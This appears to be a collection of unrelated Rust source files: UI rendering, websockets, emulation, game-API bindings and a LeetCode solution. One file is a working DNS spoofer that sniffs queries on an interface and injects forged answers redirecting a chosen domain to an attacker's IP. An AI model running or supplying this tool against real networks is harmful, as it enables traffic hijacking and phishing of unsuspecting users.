text
stringlengths
8
4.13M
//! Rendering functions and backend traits. use nalgebra::{Point2, Vector2}; use template::{Color}; use {ComponentId, Ui, Error, ComponentFlow}; /// A renderer backend, implements how individual rendering operations are done. pub trait Renderer { fn render_cache_to_target(&mut self, id: ComponentId) -> Result<(), Error>; /// Returns true if the cache is empty. fn create_resize_cache( &mut self, id: ComponentId, size: Vector2<u32> ) -> Result<bool, Error>; fn clear_cache(&mut self, id: ComponentId) -> Result<(), Error>; fn render_cache( &mut self, id: ComponentId, source_id: ComponentId, position: Point2<f32> ) -> Result<(), Error>; /// Renders text centered in an area to the component's cache. /// Font is a string identifier that should be resolved by the renderer's font cache. fn text( &mut self, id: ComponentId, text: &String, text_font: Option<&String>, text_size: Option<i32>, position: Point2<f32>, size: Vector2<f32>, color: Color, ) -> Result<(), Error>; /// Renders vertices to the component's cache. fn vertices( &mut self, id: ComponentId, vertices: &[Point2<f32>], indices: &[u16], color: Color, ) -> Result<(), Error>; } /// Renders a UI using a renderer backend. pub fn render<R: Renderer>( renderer: &mut R, ui: &mut Ui ) -> Result<(), Error> { // TODO: Clear the cache of elements that don't exist anymore let root_id = ui.root_id(); // Update the components' caches recursively, then render the final cache to the target let size = ui.target_size(); update_component_cache(renderer, ui, root_id, size)?; renderer.render_cache_to_target(root_id)?; // Mark all components all not needing updating anymore ui.mark_all_rendered(); Ok(()) } fn update_component_cache<R: Renderer>( renderer: &mut R, ui: &Ui, component_id: ComponentId, parent_size: Vector2<f32>, ) -> Result<bool, Error> { let component = ui.get(component_id).unwrap(); let computed_size = component.attributes().compute_size(parent_size); // Make sure this component's cache is created and of the correct size let cache_empty = renderer.create_resize_cache(component_id, Vector2::new( computed_size.x.ceil() as u32, computed_size.y.ceil() as u32, ))?; // Make sure all children's caches are up-to-date let mut child_updated = false; for child_id in component.children() { child_updated |= update_component_cache(renderer, ui, *child_id, computed_size)?; } // Only render if we need to if cache_empty || child_updated || component.needs_rendering() { renderer.clear_cache(component_id)?; // Let the component's class render itself to the component's cache component.render(component_id, computed_size, renderer)?; // Render all children caches in sequence to this component let mut flow = ComponentFlow::new(computed_size); for child_id in component.children() { let child = ui.get(*child_id).unwrap(); let computed_position = child.attributes().compute_position(computed_size, &mut flow); renderer.render_cache(component_id, *child_id, computed_position)?; } Ok(true) } else { Ok(false) } }
extern crate argparse; extern crate pnet; use argparse::{ArgumentParser, Store, StoreTrue}; use pnet::datalink::{self, NetworkInterface}; use pnet::datalink::Channel::Ethernet; use pnet::packet::{MutablePacket, Packet}; use pnet::packet::ethernet::{MutableEthernetPacket, EthernetPacket, EtherType}; use pnet::packet::ipv4::Ipv4Packet; use pnet::packet::ip::IpNextHeaderProtocol; use pnet::packet::udp::UdpPacket; use std::process::exit; use std::mem::transmute; fn main() { // Options let mut target_interface : String = "eth0".to_string(); let mut domain_name : String = "".to_string(); let mut ip_redirect : String = "".to_string(); // Parse arguments { let mut argparse = ArgumentParser::new(); argparse.set_description("DNS spoofer"); argparse.refer(&mut target_interface) .add_option(&["-i", "--interface"], Store, "Specify an interface"); argparse.refer(&mut domain_name) .add_argument("domain_name", Store, "Domain to spoof"); argparse.refer(&mut ip_redirect) .add_argument("ip_redirect", Store, "Target IP address"); argparse.parse_args_or_exit(); } let ip_redirect_parse = ip_redirect.split('.').map(|s| { s.parse::<u8>().unwrap() }).collect::<Vec<u8>>(); let ip_redirect_u8s = ip_redirect_parse.as_slice(); let matches_interface = |i : &NetworkInterface| {i.name == target_interface}; let interface : NetworkInterface; match datalink::interfaces() .into_iter() .filter(matches_interface) .next(){ Some(iface) => { println!("Found interface {}", iface.name); interface = iface; } None => { println!("Could not find interface {}", target_interface); exit(1); } } // Create a new channel, transporting layer 2 packets let (mut tx, mut rx) = match datalink::channel(&interface, Default::default()) { Ok(Ethernet(tx, rx)) => (tx, rx), Ok(_) => panic!("Unhandled channel type"), Err(e) => panic!("An error occurred when creating the datalink channel: {}", e) }; let mut iter = rx.iter(); loop { match iter.next() { Ok(eth) => { let maybe_ipv4 : Option<Ipv4Packet> = unwrap_eth(&eth); let maybe_ipv4_udp : Option<(&Ipv4Packet, UdpPacket)> = maybe_ipv4.as_ref().and_then(unwrap_ipv4); // Construct closure with the redirect ip and domain_name let process_udp_with_redirect = |x| { process_ipv4_udp(&domain_name, &ip_redirect_u8s, x) }; let to_send : Option<Vec<u8>> = maybe_ipv4_udp.as_ref().and_then(process_udp_with_redirect); to_send.as_ref().map(|inner| { println!("SENDING DATA"); let mut packet_data = eth.packet().to_vec(); packet_data.truncate(14); packet_data.extend(inner); let packet = EthernetPacket::new(&packet_data) .unwrap(); tx.send_to(&packet, None).unwrap(); }); } Err(e) => { panic!("An error occurred reading packet: {}", e); } } } } const IPV4_PROTOCOL_ID : u16 = 0x0800; fn unwrap_eth<'p>(eth : &'p EthernetPacket) -> Option<Ipv4Packet<'p>>{ match eth.get_ethertype() { EtherType(IPV4_PROTOCOL_ID) => { Ipv4Packet::new(eth.payload()) } _ => { None } } } const UDP_PROTOCOL_ID : u8 = 17; fn unwrap_ipv4<'p>(ipv4 : &'p Ipv4Packet) -> Option<(&'p Ipv4Packet<'p>, UdpPacket<'p>)>{ match ipv4.get_next_level_protocol() { IpNextHeaderProtocol(UDP_PROTOCOL_ID) => { UdpPacket::new(ipv4.payload()).map(|udp| (ipv4, udp)) } _ => { None } } } fn process_ipv4_udp<'t, 'a>(domain_name : &String, ip_redirect : &[u8], a : &'t (&'t Ipv4Packet<'t>, UdpPacket<'t>)) -> Option<Vec<u8>> { let (ipv4_ref, ref udp) : (&Ipv4Packet, UdpPacket) = *a; let response_payload = process_packet(ipv4_ref, &udp, domain_name, ip_redirect); response_payload.map(|payload| { let mut data = ipv4_ref.packet().to_vec(); //data.truncate(ipv4_ref.get_header_length() as usize); data.truncate(20); let mut udp_header = udp.packet().to_vec(); udp_header.truncate(8); data.extend(udp_header); data.extend(payload); data }) } fn process_packet<'t>(ipv4 : &'t Ipv4Packet, udp : &'t UdpPacket, name_redirect : &String, ip_redirect : &[u8]) -> Option<Vec<u8>>{ println!("Got packet {} -> {}", ipv4.get_source(), ipv4.get_destination()); // Assume is dns request until we find something to prove otherwise // (There is no simple check) // // TODO request could be split across multiple packets // let dns_data : &[ u8 ] = udp.payload(); if dns_data.len() < 14 { return None } let id = build_u16(dns_data, 0); if id == 0 {return None;} println!("Id {:X}", id); let flags = build_u16(dns_data, 2); println!("flags {:X}", flags); let is_query = (flags & 0x8000) != 0; println!("is query {}", is_query); let query_count = build_u16(dns_data, 4); println!("query count {}", query_count); // We only reply to packets with exactly one request if query_count != 1 {return None;} print!("All data: "); for datum in dns_data { print!("{:X} ", datum); } let domain_name = get_domain_name(dns_data, 12); domain_name.as_ref().and_then(|dn| { print!("\n domain name : {} END", dn); if dn == name_redirect { println!("\nMatchin Domain, redirecting to {:?}", ip_redirect); let mut query_data = dns_data.to_vec(); println!("QUERY LEN {}", query_data.len()); let mut response_payload = response_packet(&query_data , ip_redirect); println!("RESPONSE LEN {}", response_payload.len()); Some(response_payload) } else { None } }) } fn response_packet(request : & [u8], ip : &[u8]) -> Vec<u8> { // Instead of constructing the request part we just reuse what we are // sent const FLAGS_NO_ERROR : [u8; 2] = [0x81, 0x80]; let mut response_start = request.to_vec(); response_start[3] = FLAGS_NO_ERROR[0]; response_start[4] = FLAGS_NO_ERROR[1]; let answer = answer_data(ip); response_start.extend(&answer); response_start //UdpPacket::new(request).unwrap() } fn answer_data(ip : &[u8]) -> Vec<u8> { // As we only consider single requests the pointer to the name in the request // is constant const CONST_OFFSET : [u8; 2] = [0xc0, 0x0c]; // Similarly type is constantly A and class is IN const TYPE : [u8; 2] = [0x00, 0x01]; const CLASS : [u8; 2] = [0x00, 0x01]; // Set constant time to live const TIME_TO_LIVE : [u8; 4] = [0x00, 0x00, 0x00, 0x3c]; let mut ret = CONST_OFFSET.to_vec(); ret.extend(TYPE.iter().cloned()); ret.extend(CLASS.iter().cloned()); ret.extend(TIME_TO_LIVE.iter().cloned()); // response length is 4 as ipv4 const LEN : [u8 ; 2] = [0x00, 0x04]; ret.extend(LEN.iter().cloned()); ret.extend(ip.iter().cloned()); ret } fn get_domain_name(data : &[ u8 ], start : usize) -> Option<String>{ let mut name = "".to_owned(); let mut cur = start; let mut first : bool = true; let len = data.len(); for _ in 1..64 { if len < cur {return None;} let length = data[cur] as usize; if len < cur + length {return None;} cur = cur + 1; println!("length = {}", length); if length == 0 { println!("End of domain"); break; } if !first { name.push('.'); } else { first = false; } let str_end = cur + (length as usize); for i in cur..str_end { print!("i={} {:X} ", i, data[i]); name.push(data[i] as char); } cur = str_end; } // Return none if unexpected length if len != cur + 4{ return None; } // Check request type, only consider ipv4 if build_u16(data, cur) != 1 { return None; } // Check request class, only consider internet if build_u16(data, cur+2) != 1 { return None; } println!("Domain : {}", name); Some (name) } fn build_u16(bytes : &[u8], index : usize) -> u16 { unsafe {transmute::<[u8; 2], u16> ([bytes[index], bytes[index + 1]]) }.to_be() } fn deconstruct_u16(x : u16) -> [u8; 2] { unsafe {transmute::<u16, [u8; 2]> (u16::from_be(x))} }
//! Assorted analytical modules for the cryptanalysis engine.
use actix::prelude::*; use actix::{ Addr, Actor, StreamHandler, fut }; use actix_web::{web, Error, HttpRequest, HttpResponse}; use actix_web_actors::ws; use serde_json::Value; use crate::coordinator::Coordinator; use crate::messages::{ Connect, StatusUpdate, CreateWorker }; pub fn websocket_route( req: HttpRequest, stream: web::Payload, coordinator: web::Data<Addr<Coordinator>> ) -> Result<HttpResponse, Error> { let resp = ws::start(WsHost { addr: coordinator.get_ref().clone() }, &req, stream); resp } struct WsHost { addr: Addr<Coordinator>, } impl Actor for WsHost { type Context = ws::WebsocketContext<Self>; fn started(&mut self, ctx: &mut Self::Context) { let addr = ctx.address(); self.addr .send(Connect { addr: addr.recipient(), }) .into_actor(self) .then(|res, _act, ctx| { match res { Ok(_res) => { println!("[Route] Connected to Coordinator"); // act.id = res }, // something is wrong with Coordinator _ => ctx.stop(), } fut::ok(()) }) .wait(ctx); } } impl Handler<StatusUpdate> for WsHost { type Result = (); fn handle(&mut self, msg: StatusUpdate, ctx: &mut Self::Context) { let status = msg.status; println!("[Route] Got status update"); ctx.text(serde_json::to_string(&status).unwrap()); } } impl StreamHandler<ws::Message, ws::ProtocolError> for WsHost { fn handle(&mut self, msg: ws::Message, ctx: &mut Self::Context) { match msg { ws::Message::Ping(msg) => ctx.pong(&msg), ws::Message::Text(text) => { // println!("Received text! {}", text); let command: Value = serde_json::from_str(&text) .expect("Unable to parse command JSON"); if let Value::Object(command_obj) = command { if let Some(Value::String(type_str)) = command_obj.get("type") { if type_str == "COMMAND_CREATE_WORKER" { println!("[Route] Received command to create a worker!"); self.addr.do_send(CreateWorker {}); } } } // Send data back to the client: // ctx.text(text) () }, ws::Message::Binary(bin) => ctx.binary(bin), _ => (), } } }
use iced::{button, Align, Button, Row, Element, Sandbox, Settings, Text, HorizontalAlignment, Length}; // the window size is an unsigned 32 bit integer, the padding is unsigned 16 bit integer const SIZE: (u32, u32) = (250, 80); const PAD: u16 = 25; pub fn main() -> iced::Result{ // Set the window properties let mut settings = Settings::default(); settings.window.size = SIZE; settings.window.resizable = false; // run the application Counter::run(settings) } #[derive(Default)] struct Counter { // counter value value: i32, btn: button::State, } // define the possible interactions of the application #[derive(Debug, Clone, Copy)] enum Message { ButtonPressed, } impl Sandbox for Counter { type Message = Message; fn new() -> Self { Self::default() } fn title(&self) -> String { String::from("Counter") } // linking the enum to the logic fn update(&mut self, message:Message) { match message { Message::ButtonPressed => { self.value +=1; } } } // the view defining the layout, linking the widgets to the interaction 'message' enum fn view(&mut self) -> Element<Message> { let btn_txt = Text::new("Count") .horizontal_alignment(HorizontalAlignment::Center); Row::new() .padding(PAD) .spacing(PAD*2) .align_items(Align::Center) .push( Text::new(&self.value.to_string()) .horizontal_alignment(HorizontalAlignment::Center) .width(Length::FillPortion(2)), ) .push( Button::new(&mut self.btn, btn_txt) .width(Length::FillPortion(2)) .on_press(Message::ButtonPressed), ) .into() } }
use nom::combinator::map; use nom::number::complete::be_u128; use nom::IResult; use std::net::Ipv6Addr; pub(crate) fn parse_ipv6_address(input: &[u8]) -> IResult<&[u8], Ipv6Addr> { map(be_u128, Ipv6Addr::from)(input) }
//! Traits for interactions with a processors watchdog timer. /// Feeds an existing watchdog to ensure the processor isn't reset. Sometimes /// the "feeding" operation is also referred to as "refreshing". pub trait Watchdog { /// An enumeration of `Watchdog` errors. /// /// For infallible implementations, will be `Infallible` type Error; /// Triggers the watchdog. This must be done once the watchdog is started /// to prevent the processor being reset. fn try_feed(&mut self) -> Result<(), Self::Error>; } /// Enables A watchdog timer to reset the processor if software is frozen or /// stalled. pub trait Enable { /// An enumeration of `Enable` errors. /// /// For infallible implementations, will be `Infallible` type Error; /// Unit of time used by the watchdog. type Time; /// The started watchdog that should be `feed()`. type Target: Watchdog; /// Starts the watchdog with a given period, typically once this is done /// the watchdog needs to be `feed()` periodically, or the processor would be /// reset. /// /// This consumes the value and returns the `Watchdog` trait that you must /// `feed()`. fn try_start<T>(self, period: T) -> Result<Self::Target, Self::Error> where T: Into<Self::Time>; } /// Disables a running watchdog timer so the processor won't be reset. /// /// Not all watchdog timers support disable operation after they've been enabled. /// In this case, hardware support libraries would not implement this trait /// and hardware-agnostic libraries should consider not requiring it. pub trait Disable { /// An enumeration of `Disable` errors. /// /// For infallible implementations, will be `Infallible` type Error; /// Disabled watchdog instance that can be enabled. type Target: Enable; /// Disables the watchdog. /// /// This stops the watchdog and returns an instance implementing the /// `Enable` trait so that it can be started again. fn try_disable(self) -> Result<Self::Target, Self::Error>; }
use super::Part; use crate::codec::{Decode, Encode}; use crate::spacecenter::Thruster; use crate::{remote_type, RemoteObject, Vector3}; use std::collections::BTreeMap; remote_type!( /// An engine, including ones of various types. For example liquid fuelled gimballed engines, /// solid rocket boosters and jet engines. Obtained by calling `Part::engine()`. object SpaceCenter.Engine { properties: { { Part { /// Returns the part object for this engine. /// /// **Game Scenes**: All get: part -> Part } } { Active { /// Returns whether the engine is active. /// /// **Game Scenes**: All get: is_active -> bool, /// Sets whether the engine is active. Setting this attribute may have no effect, /// depending on `Engine::can_shutdown()` and `Engine.can_restart()`. /// /// **Game Scenes**: All set: set_active(bool) } } { Thrust { /// Returns the current amount of thrust being produced by the engine, in Newtons. /// /// **Game Scenes**: All get: thrust -> f32 } } { AvailableThrust { /// Returns the amount of thrust, in Newtons, that would be produced by the engine /// when activated and with its throttle set to 100%. Returns zero if the engine /// does not have any fuel. Takes the engine’s current `Engine::thrust_limit()` /// and atmospheric conditions into account. /// /// **Game Scenes**: All get: available_thrust -> f32 } } { MaxThrust { /// Returns the amount of thrust, in Newtons, that would be produced by the engine /// when activated and fueled, with its throttle and throttle limiter set to 100%. /// /// **Game Scenes**: All get: max_thrust -> f32 } } { MaxVacuumThrust { /// Returns the maximum amount of thrust that can be produced by the engine in a /// vacuum, in Newtons. This is the amount of thrust produced by the engine when /// activated, `Engine.thrust_limit()` is set to 100%, the main vessel’s throttle is /// set to 100% and the engine is in a vacuum. /// /// **Game Scenes**: All get: max_vacuum_thrust -> f32 } } { ThrustLimit { /// Returns the thrust limiter of the engine. /// /// **Game Scenes**: All /// /// # Returns /// A value between 0 and 1. get: thrust_limit -> f32, /// Sets the thrust limiter of the engine. Setting this /// attribute may have no effect, for example the thrust limit for a solid rocket /// booster cannot be changed in flight. /// /// **Game Scenes**: All /// /// # Arguments /// * `value` - The thrust limit to set as a value between 0 and 1. set: set_thrust_limit(f32) } } { Thrusters { /// Returns the components of the engine that generate thrust. /// /// **Game Scenes**: All /// /// # Note /// For example, this corresponds to the rocket nozzel on a solid rocket booster, or /// the individual nozzels on a RAPIER engine. The overall thrust produced by the /// engine, as reported by `Engine::available_thrust()`, `Engine::max_thrust()` and /// others, is the sum of the thrust generated by each thruster. get: thrusters -> Vec<Thruster> } } { SpecificImpulse { /// Returns the current specific impulse of the engine, in seconds. Returns zero if /// the engine is not active. /// /// **Game Scenes**: All get: isp -> f32 } } { VacuumSpecificImpulse { /// Returns the vacuum specific impulse of the engine, in seconds. /// /// **Game Scenes**: All get: vacuum_isp -> f32 } } { KerbinSeaLevelSpecificImpulse { /// Returns the specific impulse of the engine at sea level on Kerbin, in seconds. /// /// **Game Scenes**: All get: kerbin_sea_level_isp -> f32 } } { PropellantNames { /// Returns the names of the propellants that the engine consumes. /// /// **Game Scenes**: All get: propellant_names -> Vec<String> } } { PropellantRatios { /// Returns the ratio of resources that the engine consumes. A dictionary mapping /// resource names to the ratio at which they are consumed by the engine. /// /// **Game Scenes**: All /// /// # Note /// For example, if the ratios are 0.6 for LiquidFuel and 0.4 for Oxidizer, then for /// every 0.6 units of LiquidFuel that the engine burns, it will burn 0.4 units /// of Oxidizer. get: propellant_ratios -> BTreeMap<String, f32> } } { Propellants { /// Returns the propellants that the engine consumes. /// /// **Game Scenes**: All get: propellants -> Vec<Propellant> } } { HasFuel { /// Returns whether the engine has any fuel available. /// /// **Game Scenes**: All /// /// # Note /// The engine must be activated for this property to update correctly. get: has_fuel -> bool } } { Throttle { /// Returns the current throttle setting for the engine. A value between 0 and 1. /// This is not necessarily the same as the vessel’s main throttle setting, as some /// engines take time to adjust their throttle (such as jet engines). /// /// **Game Scenes**: All get: throttle -> f32 } } { ThrottleLocked { /// Returns whether the `Control::throttle()` affects the engine. For example, this /// is true for liquid fueled rockets, and false for solid rocket boosters. /// /// **Game Scenes**: All get: is_throttle_locked -> bool } } { CanRestart { /// Returns whether he engine can be restarted once shutdown. If the engine cannot be /// shutdown, returns `false`. For example, this is `true` for liquid fueled rockets /// and `false` for solid rocket boosters. /// /// **Game Scenes**: All get: can_restart -> bool } } { CanShutdown { /// Returns whether the engine can be shutdown once activated. For example, this is /// `true` for liquid fueled rockets and `false` for solid rocket boosters. /// /// **Game Scenes**: All get: can_shutdown -> bool } } { HasModes { /// Returns whether the engine has multiple modes of operation. /// /// **Game Scenes**: All get: has_modes -> bool } } { Mode { /// Returns the name of the current engine mode. /// /// **Game Scenes**: All get: mode -> String, /// Sets the name of the current engine mode. /// /// **Game Scenes**: All set: set_mode(&str) } } { Modes { /// Returns the available modes for the engine. A dictionary mapping mode /// names to Engine objects. /// /// **Game Scenes**: All get: modes -> BTreeMap<String, Engine> } } { AutoModeSwitch { /// Returns whether the engine will automatically switch modes. /// /// **Game Scenes**: All get: is_auto_mode_switch -> bool, /// Sets whether the engine will automatically switch modes. /// /// **Game Scenes**: All set: set_auto_mode_switch(bool) } } { Gimballed { /// Returns whether the engine is gimballed. /// /// **Game Scenes**: All get: is_gimballed -> bool } } { GimbalRange { /// Returns the range over which the gimbal can move, in degrees. Returns 0 if the /// engine is not gimballed. /// /// **Game Scenes**: All get: gimbal_range -> f32 } } { GimbalLocked { /// Returns whether the engines gimbal is locked in place. /// /// **Game Scenes**: All get: is_gimbal_locked -> bool, /// Sets whether the engines gimbal is locked in place. Setting this attribute has no /// effect if the engine is not gimballed. /// /// **Game Scenes**: All set: set_gimbal_locked(bool) } } { GimbalLimit { /// Returns the gimbal limiter of the engine. A value between 0 and 1. /// Returns 0 if the gimbal is locked. /// /// **Game Scenes**: All get: gimbal_limit -> f32, /// Sets the gimbal limiter of the engine. A value between 0 and 1. /// /// **Game Scenes**: All set: set_gimbal_limit(f32) } } { AvailableTorque { /// Returns the available torque, in Newton meters, that can be produced by this /// engine, in the positive and negative pitch, roll and yaw axes of the vessel. /// These axes correspond to the coordinate axes of the `Vessel::reference_frame()`. /// Returns zero if the engine is inactive, or not gimballed. /// /// **Game Scenes**: All get: available_torque -> (Vector3, Vector3) } } } methods: { { /// Toggle the current engine mode. /// /// **Game Scenes**: All fn toggle_mode() { ToggleMode() } } } }); remote_type!( /// A propellant for an engine. Obtained by calling `Engine::propellants()`. object SpaceCenter.Propellant { properties: { { Name { /// Returns the name of the propellant. /// /// **Game Scenes**: All get: name -> String } } { CurrentAmount { /// Returns the current amount of propellant. /// /// **Game Scenes**: All get: current_amount -> f64 } } { CurrentRequirement { /// Returns the required amount of propellant. /// /// **Game Scenes**: All get: current_requirement -> f64 } } { TotalResourceAvailable { /// Returns the total amount of the underlying resource currently reachable /// given resource flow rules. /// /// **Game Scenes**: All get: total_resource_available -> f64 } } { TotalResourceCapacity { /// Returns the total vehicle capacity for the underlying propellant resource, /// restricted by resource flow rules. /// /// **Game Scenes**: All get: total_resource_capacity -> f64 } } { IgnoreForIsp { /// Returns if this propellant should be ignored when calculating required mass /// flow given specific impulse. /// /// **Game Scenes**: All get: is_ignore_for_isp -> bool } } { IgnoreForThrustCurve { /// Returns if this propellant should be ignored for thrust curve calculations. /// /// **Game Scenes**: All get: is_ignore_for_thrust_curve -> bool } } { DrawStackGauge { /// Returns if this propellant has a stack gauge or not. /// /// **Game Scenes**: All get: is_draw_stack_gauge -> bool } } { IsDeprived { /// Returns if this propellant is deprived. /// /// **Game Scenes**: All get: is_deprived -> bool } } { Ratio { /// Returns the propellant ratio. /// /// **Game Scenes**: All get: ratio -> f32 } } } });
use super::resource_id::{ResourceId}; use std::net::{SocketAddr}; /// Information to identify the remote endpoint. /// The endpoint is used mainly as a connection identified. #[derive(Clone, Copy, PartialEq, Eq, Hash, Debug)] pub struct Endpoint { resource_id: ResourceId, addr: SocketAddr, } impl Endpoint { /// Creates a new Endpoint. pub(crate) fn new(resource_id: ResourceId, addr: SocketAddr) -> Self { Self { resource_id, addr } } /// Returns the inner network resource id used by this endpoint. /// It is not necessary to be unique for each endpoint if some of them shared the resource /// (an example of this is the different endpoints generated by when you listen by udp). pub fn resource_id(&self) -> ResourceId { self.resource_id } /// Returns the peer address of the endpoint. pub fn addr(&self) -> SocketAddr { self.addr } } impl std::fmt::Display for Endpoint { fn fmt(&self, f: &mut std::fmt::Formatter) -> std::fmt::Result { write!(f, "{} {}", self.resource_id, self.addr) } }
pub struct Solution; impl Solution { pub fn kth_smallest(matrix: Vec<Vec<i32>>, k: i32) -> i32 { let k = k as usize; let n = matrix.len(); let mut a = matrix[0][0]; let mut b = matrix[n - 1][n - 1]; while a < b { let c = a + (b - a) / 2; let mut count = 0; let mut i = 0; let mut j = n - 1; while i < n { if matrix[i][j] <= c { count += j + 1; i += 1; } else if j == 0 { break; } else { j -= 1; } } if count < k { a = c + 1; } else { b = c; } } a } } #[test] fn test0378() { fn case(matrix: Vec<Vec<i32>>, k: i32, want: i32) { let got = Solution::kth_smallest(matrix, k); assert_eq!(got, want); } let matrix = vec![vec![1, 5, 9], vec![10, 11, 13], vec![12, 13, 15]]; case(matrix.clone(), 1, 1); case(matrix.clone(), 2, 5); case(matrix.clone(), 3, 9); case(matrix.clone(), 4, 10); case(matrix.clone(), 5, 11); case(matrix.clone(), 6, 12); case(matrix.clone(), 7, 13); case(matrix.clone(), 8, 13); case(matrix.clone(), 9, 15); }
use std::time::Duration; use rand::prelude::*; use rand_chacha::ChaCha8Rng; use crate::chip8::{Opcode, Register, Address, Chip8Result, Chip8Error}; use crate::chip8::quirks::{ReadWriteIncrementQuirk, BitShiftQuirk}; use crate::chip8::gpu::{self, Gpu}; /// `Chip8` is the core emulation structure of this project. It implements the memory and opcodes /// of the Chip-8 architecture. pub struct Chip8 { /// Chip-8 memory is segmented into two sections: /// /// - `0x000-0x1FF`: Reserved for the Chip 8 interpreter. /// - `0x200-0xFFF`: Program ROM and RAM /// /// We only use `0x050-0x0A0` in the reserved memory for the built in 4x5 pixel font set with digits (0-9) and letters (A-F) pub memory: [u8; 4096], /// Stack holds the addresses to return to when the current subroutine finishes. pub stack: Vec<u16>, pub gpu: Gpu, /// The Chip-8 has a 16 charcter keypad: /// /// ```text /// 1 2 3 C /// 4 5 6 D /// 7 8 9 E /// A 0 B F /// ``` /// /// Keys are indexed by their hexadecimal number. For example: `keys[0xA]` gives the state of key `A`. /// /// Each key is either pressed (true) or released (false) pub keys: [bool; 16], /// General Purpose Registers `V0`, `V1`, ..., `VF` /// /// `VF` should not be used by Chip-8 programs. We use it as a flag for some opcodes. pub v: [u8; 16], /// Index Register: Generally used to store memory addresses which means only the lowest (rightmost) 12 bits are usually used pub i: u16, /// Program Counter. Points to the currently executing address in `memory` pub pc: u16, /// Delay Timer Register. When non-zero it decrements by 1 at the rate of 60hz. pub delay_timer: u8, /// Sound Timer Register. When non-zero it: /// /// - Decrements by 1 at a rate of 60hz /// - Sounds the Chip-8 buzzer. pub sound_timer: u8, /// `clock_speed` defines how often we `cycle` when calling `time` pub clock_speed: Duration, /// `timer_speed` defines how often we decrement `delay_timer` and `sound_timer` pub timer_speed: Duration, /// When `debug_mode` is true `tick` should do nothing. `step` needs to be used to advance the program. pub debug_mode: bool, read_write_increment_quirk: ReadWriteIncrementQuirk, bit_shift_quirk: BitShiftQuirk, /// Execution state, used to wait for keypresses state: Chip8State, /// Random Number Generator used for `Opcode::Random` rng: ChaCha8Rng, /// Stores how much time has elapsed since our last `cycle()` clock_tick_accumulator: Duration, /// Stores how much time has elapsed since we last decreased `delay_timer` and `sound_timer` timer_tick_accumulator: Duration, } #[derive(PartialEq)] enum Chip8State { Running, WaitingForKey { target_register: Register } } #[derive(PartialEq)] pub enum Chip8Output { None, Tick, Redraw } impl Chip8Output { fn combine(x: Chip8Output, y: Chip8Output) -> Chip8Output { match (x, y) { (Chip8Output::Redraw, _) => Chip8Output::Redraw, (_, Chip8Output::Redraw) => Chip8Output::Redraw, (Chip8Output::Tick, _) => Chip8Output::Tick, (_, Chip8Output::Tick) => Chip8Output::Tick, _ => Chip8Output::None, } } } impl Chip8 { pub const PROGRAM_START: u16 = 0x200; pub const MEMORY: u16 = 4096; const FONT_START: u16 = 0x50; const FONT_END: u16 = 0xA0; const FONTSET: [u8; 80] = [ 0xF0, 0x90, 0x90, 0x90, 0xF0, // 0 0x20, 0x60, 0x20, 0x20, 0x70, // 1 0xF0, 0x10, 0xF0, 0x80, 0xF0, // 2 0xF0, 0x10, 0xF0, 0x10, 0xF0, // 3 0x90, 0x90, 0xF0, 0x10, 0x10, // 4 0xF0, 0x80, 0xF0, 0x10, 0xF0, // 5 0xF0, 0x80, 0xF0, 0x90, 0xF0, // 6 0xF0, 0x10, 0x20, 0x40, 0x40, // 7 0xF0, 0x90, 0xF0, 0x90, 0xF0, // 8 0xF0, 0x90, 0xF0, 0x10, 0xF0, // 9 0xF0, 0x90, 0xF0, 0x90, 0x90, // A 0xE0, 0x90, 0xE0, 0x90, 0xE0, // B 0xF0, 0x80, 0x80, 0x80, 0xF0, // C 0xE0, 0x90, 0x90, 0x90, 0xE0, // D 0xF0, 0x80, 0xF0, 0x80, 0xF0, // E 0xF0, 0x80, 0xF0, 0x80, 0x80 // F ]; pub fn new() -> Chip8 { let mut chip8 = Chip8::empty(); chip8.pc = Chip8::PROGRAM_START; let font_start = Chip8::FONT_START as usize; let font_end = Chip8::FONT_END as usize; chip8.memory[font_start..font_end].copy_from_slice(&Chip8::FONTSET); chip8 } pub fn new_with_rom(rom_bytes: Vec<u8>) -> Chip8 { let mut chip8 = Chip8::new(); let rom_start = Chip8::PROGRAM_START as usize; let rom_end = rom_start + rom_bytes.len(); chip8.memory[rom_start..rom_end].copy_from_slice(&rom_bytes[..]); chip8 } pub fn new_with_default_rom() -> Chip8 { // Default ROM: Just loop forever let default_rom = Opcode::to_rom(vec![ Opcode::Jump(Chip8::PROGRAM_START) ]); Chip8::new_with_rom(default_rom) } /// Returns a Chip8 with _no initialized memory_ pub fn empty() -> Chip8 { Chip8 { memory: [0; Chip8::MEMORY as usize], stack: Vec::new(), gpu: Gpu::new(), keys: [false; 16], v: [0; 16], i: 0, pc: 0, delay_timer: 0, sound_timer: 0, clock_speed: Duration::from_secs_f64(1.0 / 500.0), timer_speed: Duration::from_secs_f64(1.0 / 60.0), debug_mode: false, read_write_increment_quirk: ReadWriteIncrementQuirk::default(), bit_shift_quirk: BitShiftQuirk::default(), state: Chip8State::Running, rng: ChaCha8Rng::from_entropy(), clock_tick_accumulator: Duration::new(0, 0), timer_tick_accumulator: Duration::new(0, 0), } } pub fn with_seed(mut self, seed: u64) -> Self { self.rng = ChaCha8Rng::seed_from_u64(seed); self } pub fn with_read_write_increment_quirk(mut self, quirk: ReadWriteIncrementQuirk) -> Self { self.read_write_increment_quirk = quirk; self } pub fn with_bit_shift_quirk(mut self, quirk: BitShiftQuirk) -> Self { self.bit_shift_quirk = quirk; self } pub fn key(&mut self, key: u8, pressed: bool) { // Transition out of `WaitingForKey` when the correct key is released. if let Chip8State::WaitingForKey { target_register } = self.state { if pressed == false && self.keys[key as usize] == true { self.v[target_register as usize] = key; self.state = Chip8State::Running; } } self.keys[key as usize] = pressed; } pub fn press_key(&mut self, key: u8) { self.key(key, true); } pub fn release_key(&mut self, key: u8) { self.key(key, false); } /// Return (Address, Opcode) from the chip8 memory for all opcodes that fall /// within `start_addr..end_addr` pub fn opcodes(&self, start_addr: Address, end_addr: Address) -> Vec<(Address, Opcode)> { let start_addr = start_addr as usize; let end_addr = end_addr as usize; let mut result = Vec::new(); for opcode_addr in (start_addr..end_addr).step_by(2) { let bytes = [self.memory[opcode_addr], self.memory[opcode_addr + 1]]; if let Ok(opcode) = Opcode::from_bytes(&bytes) { result.push((opcode_addr as u16, opcode)); } } result } /// Tick the CPU forward by `delta` time. Depending on how much time /// has elapsed this may: /// /// - `cycle` some number of times based on the clock speed /// - decrement `sound_timer` /// - decrement `delay_timer` pub fn tick(&mut self, delta: Duration) -> Chip8Result<Chip8Output> { if self.debug_mode { return Ok(Chip8Output::None) } self.tick_internal(delta) } /// Step the CPU forward by a fixed amount of time. pub fn step(&mut self) -> Chip8Result<Chip8Output> { self.tick_internal(self.clock_speed) } // Internal 